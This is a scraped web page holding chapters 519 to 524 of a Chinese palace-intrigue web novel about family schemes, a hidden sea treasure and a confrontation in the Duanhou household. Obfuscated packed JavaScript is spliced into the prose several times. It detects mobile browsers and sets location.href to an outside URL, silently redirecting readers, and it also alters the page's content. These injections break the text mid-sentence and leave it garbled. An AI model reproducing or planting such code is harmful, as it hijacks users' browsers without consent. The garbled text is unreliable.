;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其实若是夏明月只做一个中规中矩的大家闺秀,楚霆孝都看不上画扇。可在他亲眼目睹过夏明月如此能折腾之后,他对画扇不说有多满意,至少没觉得不能接受。 至于画扇是夏明嫣身边的人,这一点想来楚霆孝并没有多少担忧,因为乔嬷嬷一定已经告诉了他,画扇跟夏明嫣的关系不好。 而且画扇从前只是一个侍女,现在也不过是云翠居的一个管事,这些身份和当陆家长女相比,甚至完全没有对比的价值。 “这……我可不敢跟端侯夫人相比,她好歹还有端侯这座靠山,端侯府不是有那海藏宝藏么?”画扇眨了眨眼,目光中透出几分艳羡。 第519章养大的野心 即便夏明月成了楚、夏两家的弃子,也还是端侯夫人。尽管她跟李玦交恶了,可偏偏李玦瘫了,成了个废人,这端侯府里的事儿少不得还得由夏明月做主。 这夏明月的命也太好了,管她如何的声名狼藉,将来坐拥那么大一笔财富,足够她后半辈子都躺在福窝里了。 这些日子以来,因为自己的出身,在钩翊侯府,画扇也成了自己人,自然也清楚了当年的来龙去脉。 虽说她也不看好这几家,可即便他们输了,她能做陆家长女、新一任的家主,夏明月定是也能保住性命的。那么大一笔财富,她就不信夏明月一点都带不走。 啧啧,哪怕带走的只是一小部分,都不知道有多少了,要是她在彭州也能拥有这么一大笔财富就好了。 夏明嫣对着兀自出神的画扇暗暗叹了口气:“你把心思多放在正事儿上,一切都会好起来的。她能把好好夏家嫡次女、楚相外孙女、端侯夫人当成这样,你想要什么,很难么?” 她接过画扇双手递上来的玉牌,善意地提醒了一句, “有件事我忘了告诉你,陆大人这辈子应该只有你和端侯夫人两个女儿了。这意味着什么,你应该不会不明白吧?” 如果陆远山还能生养,将来说不定什么时候又会冒出个儿子来,可既然彻底绝了这希望,那么将来的陆家之争就只能局限在画扇和夏明月之间了。 夏明月把一手好牌打得稀烂,可画扇却把侍女、管事儿和如今陆家新认下的女儿都做得不错,她为什么就没有机会赢夏明月呢? 画扇之后越想越有信心,大事儿上她不敢跟夏明嫣和邓澜比,可她至少知道分寸,知道自己做不到的就听能做到的,自己不乱来,不会无事生非,就算嫌贫爱富,面子功夫也会做好了,不会像夏明月对李玦那样…… 如此想来,只要她用心谋划,未必就不行吧? 于是,在接下来的日子里,画扇也有事儿干了。有了夏明月这个敌人,她要做的还有很多。 而且在陆家那边,她跟夏明月都是庶出,她还是长姐,就算她不能完全压过夏明月,她也不能被欺负了去…… 事实证明夏明嫣对画扇的信心和画扇对自己的信心都不是无端而来的,就在这段几方势力角斗的日子里又发生了两件事。 这头一件就是端侯府新纳的贵妾吕冠瑛“怀孕”了,李玦的心腹和族人对外说是吕冠瑛为了让李玦留下一个出身清白的子嗣,克服千难万难与李玦圆了房,而何夫人在寺院祈福感动了上天,让吕冠瑛只侍寝了一回就怀上了身孕。 当然,华家暗卫打探来的真相则是另一回事,吕冠瑛并没有怀孕,而是李玦的两位族中堂兄的妾室有了身孕,他们打算等到那两位妾室生产之时,就将其中的男孩儿抱去充做吕冠瑛所出,作为端侯府的继人。 吕大娘子所出的孩子毕竟是外面生的,纵使李玦认了他,可族人当中还是有很多怀疑他身世的,毕竟滴血认亲未必做得准,那孩子也只是长得有几分像李玦。可世上长得像的人多了,这并不能说明什么。 要想继人之事绕开夏明月,族中还少些争议,只能有别的孩子担任继人。而抱养堂兄的子嗣,也能够联合这孩子的亲生父母在族**同抵御夏明月。 这两个孩子的太祖父都是李玦祖父的兄弟,血缘上也不算太远,手头也都还有些产业,在族里也都还说得上话,之后也能多帮帮李玦。 这第二件事则与这件事有关,之前孙允斌去南边儿寻访那几家可能握有另一半坐标的人家时,曾经交待过夏明月,让她设法拿出邓家献上的那一半坐标以做对比,同时在府中寻找未知坐标的线索。 夏明月原本并不为此事着急,她想着等孙允斌那边来了书信再说,可谁知道吕冠瑛就那样堂而皇之的进门了。 有了她前面的所作所为,还有陆家全族和何雨萍以及何家的支持,又只是纳一房妾室服侍李玦,就连楚氏和夏庸也没有理由反驳。 尤其是夏庸,他现在都做好辞官养老的准备了,对夏明月的要求从原来的望女成凤,已经变为了只要她不再给夏家招风惹雨,不要影响她的同胞阿弟夏登云的前途就行。 夏庸此时最想要的就是夏明月不要再惹事了,也不要再有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他还承诺,只是不让夏明月出院子而已,乔嬷嬷可以进去看她,吃穿用度和一切所需都如往常一般,不会苛待了她,只是不让她再出来惹祸罢了。 这么一说,就连楚氏都没了脾气,毕竟夏明月上回在公堂上的所作所为是有目共睹的,现在局势如此,谁也承担不起夏明月再来那么一回了。 夏明月便这样被彻底软禁了起来,好在在她被软禁之前,她将那本手札的抄本设法送了出去,交给还在南边查访线索的孙允斌。 第520章密诏遣使 这东西到了孙允斌手里自然很快就被送到了华靖离手里,原本华靖离已经从张礼岁那儿拿到了另一半坐标,但张家的这一份当年是由那义子转述而来,当中有一些错漏的地方。根据端侯府流出的这本手札,这些疏漏之处才得已补全。 也就是说,眼下最完整的坐标在华靖离手中,他拿着坐标和手札抄本直接进了宫,圣上当晚便密招了朝中精通地理、水文的大学士,将这些东西交由他研究,有了进一步的结果就派人送往南疆,交给谢维。 御书房中,大学士刚刚退下,大恒燕帝看着下首而坐的华靖离,意味深长地道: “靖离,这么大一笔财富在手,加上华家军的人马,还有你和你们华家的名望,无论是占了北疆还是南疆都已经够了,你难道就一点没动心?” “陛下,臣与华家族人从未有过这样的想法。钱财、军马就该用在该用的地方,而不是无事生非、不顾百姓福祉,为了一己私利而大肆兴兵。” 华靖离起身,挺拔如松柏的身形微向前倾,恭敬而诚恳地道, “南疆自大恒立朝开始便由藩王管辖,无论是当时还是现在的局面,能形成这样的局面都因当时情势而起,而不是有某个人突然哪天想做那里的土皇帝了,就策划一场阴谋,将百姓陷于水深火热当中。” “别家,臣不敢打包票,可是华家历代子孙都在沙场上折损众多,到了臣父亲这一代,各位叔伯更是不惜性命也要平定北疆、阻祁笛于外。华家损伤的前辈和子侄已然太多了,华家人最是懂得这当中的痛。” “若遇外敌来犯或是已成乱局,华家军当仁不让,可若是牵扯进朝野倾轧,华家人就没有愿意的……这些东西若是落在华家人手里,是祸不是福。” 谁不想位高权重、荣华富贵、荫庇子孙? 可要是这样的代价是子孙代代战死沙场,还要靠老儿子守业这样的族规延续血脉,这样的荣耀不是每个人都能承担的,他们也不愿意承担。 其实人能享受到的富贵到了一定程度之后,只要不是那等贪得无厌,都会求一个安稳、安心,而不是一昧地往上爬了。 华家没有楚霆孝、老端侯那样的人,只要战事息止,百姓能安居乐业,他们的责任便可以卸下了。 燕帝颔首,亲自走下来扶起华靖离:“靖离,朕知你伯父,正如朕知你。朕与太子都愿与你和华家死生不负,共同平定这场内患。” “只是如今有件事,朕不愿让你涉险,却不得不让你涉险。太子此去南疆原本还不算凶险,可有了这完整的坐标图却不一样了。你如今是快了一步先拿到了,可那手札的原本还在端侯手中。” “朕已经命人监视了端侯府,可朕也不能完全保证那手札送不出去,更不能保证除了孙允斌,端侯没有委派其他人到海上找寻,万一他们碰上了……” 这些海藏说到底要看谁先把它们从海里拿出来,李玦为了把握住谈判的筹码,自然会想尽办法把东西送出去,楚霆孝定然也会全力相助。 楚、李两家在南疆的遗族,这些年虽然与他们的联系不够紧密,一上来就帮他们干大事,但是传递消息和物品这样的事,那边很多人都愿意帮他们,何况他们都更加熟悉那边的环境。 这东西说不准送到端侯府那些旧部手里的时间还比送到谢维手里早呢,谢维总共也没上过几回船,万一有个万一,整个大恒将迎来又一轮纷争。 华靖离很想说他也没上过几回船,他也没有水战经验,可是现在一个能调动的了兵马,能在陆上迅速掌握局面,还得谢维信重的朝中之**概只有他了。 而且经过之前的经营,他跟夏明嫣在南疆民间尤其是遍布山林的寨子里已经打下了基础,若是他去,还可以调动那些寨民。 华靖离斟酌再三之后应下:“谨遵陛下圣命,臣定尽心竭力保南疆太平、保太子平安,不过臣还要讨陛下一道手谕,必要之时允臣与常王等诸藩王便宜行事。” “诸位藩王在南疆扎根多年,但他们彼此之间也并非铁板一块,臣请陛下在真正平定南疆之前,予臣专断、斡旋之权。” 华家南迁才刚刚开始,在南疆的实力远不能跟诸王相比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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燕帝也向他保证:“元京这边你放心,你那位夫人是个明白人,做事也麻利,有什么事让她来跟皇后说一声便是。端侯府那边,朕也会让人盯紧了,不会再出纰漏。” “陛下,端侯那儿臣有一言,还望您考虑一二……这端侯如今已是**之末,他若是继续跟着楚家一条道儿走到黑,他的处境不会比现在好多少。臣猜测,他已心生退意。”华靖离进言道。 第521章乱就乱得更彻底 “哦?楚霆孝那老匹夫都没退,他年纪轻轻的就甘心退了?” 燕帝还以为李玦还打算玩一玩身残志坚的戏码,再耗上几年呢,毕竟那么大一笔财富在手,真让他得逞了,光是靠银钱收买,也能扛不少日子。 华靖离笑道:“臣与他毕竟做过义兄弟,对他还有几分了解。他如今还没有将海藏有关的东西交给陛下,那是因为他想增加手里的筹码,好跟您和楚霆孝谈。” “他心里清楚,即便他坐拥天下财富,将来能享受到的也极为有限了。因此他最终站在哪一边都行,只要能保证他和他的后人平安、富贵就好,这样他们端侯一脉才能继续图谋来日。” 他想到了什么,笑容变得更开怀了些,“关于端侯,内子说的话也很贴切,她说端侯是一个可以把所有人变成保护他的铠甲的人,这些铠甲不仅要替他抵挡严霜风剑,还得替他吃苦受罪,完了还得夸他英明神武,把他供起来。” “说到底,端侯是一个只想享福,却不想受一点罪却又要别人把一切都归功于他的人……这话,臣以为甚是贴切。” 燕帝愣了一下,仔细想了想,的确甚是贴切,他不禁失笑道: “没想到啊,夏庸这个老东西竟然能养出如此通透的女儿,不,不是他养出来的,他还是养不出来,这还是得归功于杨家。” “这李玦……的确不如他的父亲,他父亲起码还是血里来火里去的打出来,他就爱弄那些花花肠子。你能忍他那么久,也是难得。话说,你跟他割袍断义的时机选得好啊,稍微晚一点,就断不了了。” 要是后来才想断,就算为了海藏宝藏,要稳住李玦,这义兄弟的名分也不能断了。 华靖离上一世便是因为种种原因不断地将那一天推后,以致于后来想要了断这层关系时进退维谷,怎么做都不对,还给了李玦接近他的机会,才遭了毒手。 燕帝继续道,“可是他还在观望,就意味着他可能还是会投向楚霆孝,他这个人……呵,当年他父亲之所以会走得那么突然,也是因为在病中之时,楚霆孝要他交出这本手札。” “他母亲不愿意让他娶夏家的女儿做正妻,在这件事上也是有些原因的。这李玦也不知道知不知情,他要是认贼作父,老端侯在天上可就安生不了了。” 没想到竟然还有这样的内情,藏匿如此多的海货,想必老端侯的心理压力还是很大的,得知藏匿和灭口的过程中出了纰漏,燕帝这边又发现了端倪,一时之间激怒攻心,他就病倒了。 楚霆孝可能担心老端侯就此病**,让那些海藏彻底埋没于海底,也是想趁机把海藏抢过来,好彻底确立楚家在联盟中的中坚地位。 可谁知道这一气,气得猛了,也是因为老端侯身上有旧伤,真就一口气没上来,很多秘密都没说清楚,就那样一命呜呼了…… 这件事倒是可以拿来刺激一下李玦,华靖离琢磨着道: “臣这一去,陛下这边继续逼反陆家,元京的防务可就要靠乔老将军和张大人那儿的城府军了。端侯那儿还是得缓着来,他们当中少一股劲儿,您这儿就能更把稳一些。” “依臣所见,端侯眼下还是更偏向于陛下和朝廷的,不然他也不至于在这个时候弄出个假儿子来。” 燕帝眸光在这一瞬变得更加深邃:“他那个贵妾的身孕是假的?朕还没来得及问问太医院,想看看这孩子是怎么回事呢,明明说他那病好不了了,怎么就又多出来个孩子了。” 其实这种话去问太医也没用,凡事都有万一,那八十老翁也有让妻室有孕的,可有了一个,再让他有一个,就难成了……这种事儿多少有些偶然在里面,是可一不可再的,谁也说不准。 华靖离便将这件事的来龙去脉说了:“……他在这时候弄出这么一个孩子来,正是说明他还在乎子嗣传承和这爵位的传承,也想得到那孩子生父的支持,在族里占得稳了,才能对抗夏、楚两家的钳制。” “他大概想要您一个承诺,保证他投向了朝廷,他的子孙依旧能够袭爵,依然是端侯。再者,也是为了保护他唯一的亲子。他还在乎子孙传承,就还有顾忌,不是不能争取的。” 吕大姑娘所出的那个庶子想来就是李玦这辈子唯一的亲骨肉了,可那孩子没有母族做靠山,李玦如今这副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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华靖离不无担忧地看着在为他整理衣裳的夏明嫣,铁汉在柔情之下,声音也不由得放轻了: “我不在元京,你去端侯府会不会有危险?还有夏家,如今也不是个福地,岳丈这人糊涂,从前还有楚相在背后撑着,如今也不知夏家是不是都控制在了楚夫人手中。” 第522章分一杯羹 上一世的夏家最终就把持在了楚氏手上,那时瘫的不是李玦,而是夏庸。朱老太太那时也被软禁在佛堂,最后居然是活活饿死的。 夏庸这人从前对内宅就是甩手掌柜,之前就是由楚氏全权打理的。 他不管夏明嫣这个女儿,也不全是为了讨好楚家,从根儿上说,他就是认为男子就该是做大事的,内宅之事压根就不该沾手。他这个人,无论是在朝堂上,还是在家里,都是块儿做傀儡的好料子。 这一放手可就放出习惯来了,想把权利再拿回来,那可就难了。现如今,夏庸从兵部尚书的位子上下来了,暂领侍郎衔,在家里的地位定是又下降了。 夏明嫣笑了一下,边送他出门边道:“要是为了别的事儿去,倒是有可能被为难。但我只是想跟二妹妹叙旧,想跟楚夫人说说彭州的事,想来他们都是乐见其成的。” “说来也怪,陆家人明明去过端侯府,吕小娘却说那些人只跟夏明月说了几句问候的话,并没有说其他。也对,就那样挑破了,万一她又发疯呢。” “你去南疆,别担心我和府里,你跟殿下平安回来就好,别的我心里有数。等你回来,我有件事想跟你说。” “有什么事,现在不能说?你不说,这一路我都不踏实。”华靖离上了马,目光探寻而不舍地看着她。 夏明嫣这回没依她,反而挑眉笑道:“就是要吊着你的胃口,让你快点回来。我就不说了……你千万保重自己,分清轻重。” 有些话不好明说,此去凶险,而且无论是华靖离还是谢维,上一世都没有在这个时候去过南疆,这是一次未知的行程。 依照夏明嫣的意思,华靖离首要的是护好自己,谢维这个没良心的东西上辈子那样对华靖离,这辈子也未必就能完全改变,到了生死攸关的时候,再受些挑唆,恐怕还是会将华靖离牺牲掉。 对这样的人,尽管对方是太子,要是危及到了自己的安危,也不必太较真了。 谢维要是真折在那儿了,圣上也还有其他皇子,当中与谢维资质差不多的也不是没有,总还有别的法子,没必要搭上自己。 只是这些话她要是明说,不仅担心会传到圣上耳朵里去,华靖离自己也难以接受。但她希望他在危难时刻能想起这些话,始终记得保护好他自己,好好地回来。 华靖离此去是秘密出行,知道的人不多,元京这边的部署也在有条不紊地进行着。 彭州的人无法直接接触,夏明嫣便继续从夏明月下手,以便通过夏明月间接影响陆远山的决定。 行事鲁莽的夏明月甫一得知自己的身世,尤其是得知陆家人已经认下了画扇,她定然会联系陆家。 陆远山如今有了备选的后嗣,应是没有多在乎这么一个成事不足败事有余的女儿了,可是楚家依然是站在夏明月而不是画扇身后的,看在楚家的份上,陆远山不会不管她。 夏明月也不是傻子,她自己清楚,一旦楚家也放弃了她,她可就真的什么都没了。 楚家让她有了这样的不安,她也会反过来利用陆家为她自己谋些福祉,这一来二去的,她想要陆家将来能护着她,她必定要主动做点什么为陆家立功。 陆家又相信她背后有楚家支持,想来在这种大事儿上楚家不会不帮她,由着她一个人行事。他们彼此间并不熟悉,想来误会和错觉不会少。陆家再想隐匿行事,有夏明月在中间上窜下跳,也隐匿不下去了,到时候他们只能提前起事。 夏明嫣到端侯府的时候,先是亲眼目睹了一番奇妙景象。 这府里如今分了两派,一派是李玦、吕冠瑛和李家的一些族人,另一派是乔嬷嬷和夏明月。 别看夏明月已经被软禁了,因为有乔嬷嬷帮衬,李玦也没到彻底跟楚霆孝撕破脸的时候,她们依旧占据着相当一部分势力。 这两边的人在府里就像占山头一样,做什么事儿都是两边的人一起出面,然后互相看彼此不顺眼,互相挑事儿,就连迎个客也是如此,丝毫不介意让彼此的矛盾显露人前。 乔嬷嬷亲自接了夏明嫣下马车,夏明嫣看着这两排人都在她面前翻对方的白眼,不觉失笑: “有些日子没见嬷嬷和二妹妹了,嬷嬷这管家之道……怎么就**了呢,竟然把家管成这样。或者我是不是可以理解为,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16397386|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们对这端侯府逐渐失去掌控了?” 乔嬷嬷没立即答话,一路赔着笑脸,走到没人的地方,才道: “华侯夫人说笑了,哪家府邸不分个你的、我的,只是最近闹得有些难看罢了。最近我们夫人也不是没有作为的,这件事想必您也知道了,那东西可是我们夫人找出来的。” 乔嬷嬷的神情里带了几分炫耀,夏明月到底是她看着长大的,那本手札这么多年都没人留意到,偏偏被夏明月给找到了。 这或许就意味着夏明月的天资还是不错的,只是心智成熟的晚些,将来还能把输得这些赢回来。 同时,乔嬷嬷这么说也是为了给自己这边撑底气,让夏明嫣觉得他们心不虚,不会轻易再来算计他们。 都到了这一步了,夏明嫣也不跟她来虚的,直接就道: “嬷嬷说的是……手札?看样子东西到底是在二妹妹被软禁之前就送出去了。让我猜猜,如今在南疆海域找那海藏的,不仅有端侯府和楚家的人,还有二妹妹和楚夫人自己的人,可对?” 楚家的人不等于楚氏自己的人,当年有了背着楚氏将女儿换掉这件事,楚氏便自己私下经营了一些人手。 在这种男人主导的权力斗争中,女人往往是要被牺牲的,这就不能怪她们一有机会就要为自己打算了。 不过楚氏的人原本只是帮她处理一些她自己不方便出面的事,就比方说当初在卢阳打算养废夏明嫣派出的女师,这一回他们原本是要北上去寻陆家人的,没想到夏明月竟然找到了这么一件意义重大的东西。 楚氏原本已经不指望夏明月能有什么用处了,只是出于这些年的母女情分还照顾着罢了。可是有了这本手札就不一样了,只要能先一步找到海藏,她们就还有翻盘的余地,一切就都还来得及。 至于找到之后他们没有探海索和船工而取不出里面的东西,这不用着急,只要他们能把那里控制起来,让端侯府的人也拿不出来就够了。 她们想要独占海藏本就不可能,现在的局面就是这三家谁都没有本事独占,她们要的只是谈判的筹码,到时候上桌的资格,分一杯羹。 第523章你敢让我见她么? 都到这一步了,楚氏也不求其他了,指望她、夏明月、于杏儿将来能有好的生活,富贵永存,无人敢欺…… 这些要求对于寻常人来说已是奢侈,但只要他们先一步找到了海藏,对比起她们要让出去的利益,这点要求也就不算什么了。 乔嬷嬷不承认,但也不否认,神情中的洋洋自得之意却溢于言表,要不是楚家根基深厚,在短时间内哪里能做到这些: “这算什么,也值得拿出来说,如今这姑爷不得用,身为他的夫人和岳母,为他尽几分力都是应当的。不过,不管现在海上有谁的人,这朝廷的人……恐怕还没有吧。” 话中透出浓浓的讥讽和敲打之意,朝廷又如何,朝廷的势力只在元京、中原和北疆管用,在南疆可不是轻易能**手去的,还得是他们才行。 夏明嫣装着怕了一下,可立刻神情又恢复如常,弄得乔嬷嬷老大一个下不来台。 这还不算什么,她接下来的话才更让乔嬷嬷下不了台:“咱们都是妇道人家,管不着那海上的事儿,闲下来在内宅斗斗嘴皮子也就是了。于姑娘的事……夫人应该对你说了吧?她现在可是我们侯爷要纳的通房,什么都得听我的。” “于姑娘,什么于姑娘?除了画扇,夫人还送了位姓于的姑娘过去?看来华侯还是很看重夏、楚两家,不然也不会连着纳了两个夫人送去的。” 乔嬷嬷完全没听过什么鱼姑娘、猫姑娘的,不过想来是楚氏送去的,夏明嫣受了气了,想说岳母给女婿塞人不体面,来反过来找回场子呢。 夏明嫣却特意退后了半步,上下打量着乔嬷嬷:“呦,原来还有乔嬷嬷您不知道的事儿,我还以为,夫人和二妹妹的事儿,您都知道,还能控制得了呢。” “而且看你的样子,画扇的事你也不知道了?真是稀罕事,嬷嬷也有被这么多人蒙在鼓里的时候。” 乔嬷嬷显然不清楚最近发生的这些变故,楚氏没告诉她,夏明月虽说没正式跟陆家人相认,可是连陆家人暗中来过端侯府的事,也没告诉她。 “华侯夫人此言何意?这画扇有什么事儿……您嫉妒将要过门的妾室,可是有失妇德的。”乔嬷嬷脸色变了变。 那些事儿夏明嫣怎么可能知道,她要是知道了,她怎么不闹?她要是告诉了楚氏和夏明月,这二人又怎会不闹?定是画扇这小蹄子做了什么,夏明嫣才过来寻晦气的。 虽然这么想着,乔嬷嬷的心已经慌了,她只是在尽力维持表面的镇定。这种事儿不揭穿还好,一旦开始怀疑,揭开了一个角,就止不住了。 夏明嫣叹了口气,难得用奚落的语气开口,像是恨不得把乔嬷嬷的老脸当场揭下来: “行了,别装了,画扇的生父是陆大人,就是昔日的那位陆家公子,跟楚夫人订过亲的,他跟霞姑姑春风一度,却被你隐瞒了下去。这件事早在我回元京的时候就知道了,后来她们母女被赶出府去,我又告诉了她们。不过,你放心,楚夫人还不知道,她还没伤心呢。” “还有,我那二妹妹,不,确切的说是跟我没有任何血缘关系的夏明月,他也是陆大人的女儿,是跟他那个罪籍的妾室生的。说到这儿,我就想不明白了,楚夫人为陆大人含辛茹苦地养大了女儿,他自己在彭州跟他的妾室双宿双栖。” “楚夫人心里还有陆大人,这件事就连父亲也知道,楚夫人该不会以为那妾室出身罪籍,就越不过她吧?人家可是陆家的如夫人,跟陆家族人同甘共苦,地位不容动摇,这回再把亲生女儿认回去,谁还动不了谁啊。” 再是罪籍,这些年下来地位也已经稳固了,除非陆远山也是李玦那等为娶高门女而杀糟糠妻妾的。陆远山显然不是这种人。 夏明嫣记得很清楚,上一世的陆远山在成事之后的确跟楚氏在一起了,只是那是为了联合楚家,可他早就离不开那位如夫人了。 在他过世之前,陆府中的一应事务甚至是族中之事,很多地方都能看到那位妾室的身影,而陆家族人和陆家军人都不认楚氏,只认这位如夫人。这辈子,恐怕楚氏就要更加不如了。 “你怎么会知道这些?您……什么时候知道的?您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400286|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直忍着不说,就是为了等到现在来落井下石?”乔嬷嬷眼中露出惊异之色。 她今天准备得还是少了,她就应该暗中埋伏下人手,把夏明嫣给结果了,之后再假装意外,把尸首扔到城外去,伪装成歹人所为。 夏明嫣见乔嬷嬷神色变化,显然对她动了杀心,她甚至笑出了声: “嬷嬷,我没有一直不说,是你被人瞒着罢了。夏明月这件事,我之前就告诉楚夫人了,就是我请她出府一叙那日。为了让她相信我的的确确知道了真相,不是糊弄她的,我还给她找来了一位她日思夜想的人证。” “就是你们当年差点淹死在河里的孩子,真正的夏家二姑娘,她现在叫于杏儿,是个渔家女。楚夫人那天已经见过她了,她们母女二人长得可像了。怎么,她没告诉你这个将她养大还陪了她半辈子的奶嬷嬷?” “至于画扇的事,我还没来得及告诉她,也是担心她的身子受不住,就算是我尽的一点孝心吧。哦,还有,前几日陆家来人核实画扇的身世,那些人也来过端侯府见了夏明月了,她也没告诉你?” 楚氏和夏明月不知何时开始对乔嬷嬷都不再信任了,楚氏还好说,毕竟事情涉及到自己真正的亲骨肉,绕开当年的帮凶之一,也是合情合理的。 可夏明月什么时候敢这样欺瞒她了,乔嬷嬷对这种感觉感到很陌生,这两母女都是她看着长大的,怎么就都这样对她了? 乔嬷嬷神色慌张,口中喃喃地道:“她们怎么可以这样对老奴,老奴做的哪一件事不是为了楚家,不是为了她们……” 夏明嫣抬手打断了她:“行了,嬷嬷都一把年纪了,还连这些都看不透,岂不是白活了这么些年。您刚刚也说了‘为了楚家,也为了她们’,楚家在前,她们在后。” “在你心里,永远是楚家的利益为先,你瞒着她们、听从楚相命令做下那些事的时候,就该想到会有这一天。怎么办呢,我现在就要去见夏明月了,把画扇和陆家的事跟她说得透透的,你说她会信我,还是信你这个从小看着她长大的嬷嬷?” 第524章王见王(1) 这已经不仅是她们主仆三人相互信任的问题了,陆家人来过端侯府,乔嬷嬷掌握着府中上下,竟然毫无觉察。 还有向来沉不住气的夏明月知道了这些,居然不声不响的将这么大的事儿瞒了下来,她还找到了老端侯的手札,难不成是因为最近发生的事儿太多,突然就成熟起来了?以后恐怕再难像小时候那样握在手心里了。 乔嬷嬷本能地阻止她:“不行,端侯夫人身子不适,不适合见人。华侯夫人不能进去,来人,快来人,送华侯夫人回去。” 要是让夏明嫣进去了,夏明月不仅会知道当年之事的许多细节,还会清楚她在她们背后都做了什么,还怎会再听她的管束。 可是刚刚为了不让夏明月这儿动静大了被府里人看了笑话,她把人都遣走了,只她自己陪着夏明嫣,反倒是秋果跟在后面二十多步远的地方,听到她叫人,先就跑了过来。 秋果冲上来把夏明嫣护在身后:“乔嬷嬷,你如此无礼,还想打我们侯夫人不成……夫人,您要进去看二姑娘是天经地义的事,哪儿是一个老刁奴能拦着的。您快去,这儿有奴婢。” “行了行了,你们不用这样。乔嬷嬷,虽说同是侯夫人,可华侯是凭战功与华家先辈平爵的一等侯,端侯承袭到这一代已经是三等侯了,下一代要想还有爵位,那还得圣上点头。” 夏明嫣反将秋果挡在身后,“就算是秋果,现在也不是您能冲撞的了,之前我进宫谢恩的时候带着她,皇后娘娘都夸了她一声‘忠仆’,还按宫中一等女官的例赏了衣饰和节礼,她也不是你能碰的。” “今日我跟秋果要是不能好好地走出你们端侯府的大门,你就等着让夏明月再去元京府过一回堂吧。” 前世秋果被画扇害死,其实画扇也不过是别人手里的刀,真正要除掉她身边亲近之人的是楚氏和夏明月。 这一世她把秋果护得很紧,也不像上一世那样刻意保护秋果的天真,而是一开始就带着她经历了各种事情,让她有了自保的能力。 可她觉得这还不够,终于在之前进宫的时候向皇后娘娘讨了个赏。虽说秋果并非宫人,不能受封女官,可有了皇后娘娘这句话,还有了女官的服饰以资勉励,这就已经比其他的高门侍婢要高出许多了。 乔嬷嬷这回不敢叫了,她哆嗦着恳求道:“华侯夫人,纵使端侯夫人不是夏家女,你们也是姐妹一场,世人都不会因为知道了她非夏家血脉,就说她跟夏家完全没有关系。” “就算她只是一个养女,世人难道就不会在背后戳您的脊梁骨了么?您行行好,不要把那些事儿告诉她。她许是从小先天不足,比常人容易激动,她要是在这时候闹起来,一定会连累夏家,到时候你也难独善其身。” “是么?看来乔嬷嬷现在还没弄清楚状况。” 夏明嫣掀唇一笑,“我说了对我有没有害处,无须乔嬷嬷担心。还有乔嬷嬷既然是楚家的忠仆,就别总是操夏家的心了,何况你真以为你拦得住我?” 说着她高声对着前头的院子喊道,“二妹妹,我是你长姐啊,我有些话想对你说。你想知道为什么从前楚家和母亲处处捧着你,现在却由着你幽禁在此?还有那日突然出现在面前的几个人北边儿来的人,究竟是谁?他们跟你究竟有什么关系?” “你要是想知道,就让我进去,别再像过去一样被他们蒙在鼓里,连**的都不知道。” 说了之后,夏家会是什么下场,夏明嫣可管不着,夏家对她那样,除了朱老太太和沈小娘,她才不在乎呢。 可是沈小娘现在住在她的庄子上,之前假装暴病而亡,现在已经销了籍,以一个良籍妇人的身份过日子了。 朱老太太那就更不用担心了,夏老太爷五十出头就没了,朱老太太守节至今,前年朝廷刚给她建了牌坊。就算夏家有个万一,也罪不及节妇。 “你你你……堂堂侯夫人,怎么如此不成体统……” 乔嬷嬷没想到夏明嫣竟然在别人的府邸高声大喊起来,这完全有违她从小所受的教养,像个市井中人。 夏明嫣上辈子没什么市井的经验,却在南疆大营里混了将近六年,在那儿别管是谁的夫人、妾室,哪个不得跟那些杂役和仆妇打好关系。 你要是不这么做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400287|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你要用柴禾、灶火的时候,就可能没有。不跟他们打成一片,真遇上大营转移或是需要逃命的时候,你的脚程本身就没他们快,他们再不帮你,你轻则要吃苦头,重则是要丢命的! 